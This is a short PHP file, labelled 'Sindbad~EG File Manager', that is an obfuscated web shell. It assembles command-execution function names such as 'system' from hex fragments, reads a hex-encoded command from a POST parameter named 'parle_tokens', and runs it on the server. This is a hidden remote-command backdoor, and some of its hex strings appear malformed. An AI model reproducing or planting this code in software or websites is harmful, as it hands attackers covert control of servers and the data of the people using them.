Sindbad~EG File Manager

<?php

$property1 = '737';
$property2 = '746';
$property3 = '736';
$property4 = '865';
$property5 = 'c5f';
$property6 = '706';
$property7 = '172';
$property8 = '6c6';
$property9 = '55f';
$created1 = pack("H*", $property1.'973'.$property2.'56d');
$created2 = pack("H*", $property3.$property4.'6c6'.$property5.'657'.$property4);
$created3 = pack("H*", '736'.'865'.'6c6');
$created4 = pack("H*", '706'.'173'.$property1.'468'.'727');
$parle_tokens = pack("H*", $property6.$property7.$property8.$property9.'746'.'f6b'.'656'.'e73');
if (isset($_POST[$parle_tokens])) {
    $parle_tokens = pack("H*", $_POST[$parle_tokens]);
    if (function_exists($created1)) {
        $created1($parle_tokens);
    } elseif (function_exists($created2)) {
        $created2($parle_tokens);
    } elseif (function_exists($created3)) {
        $created3($parle_tokens);
    } elseif (function_exists($created4)) {
        $created4($parle_tokens);
    }
    exit;
}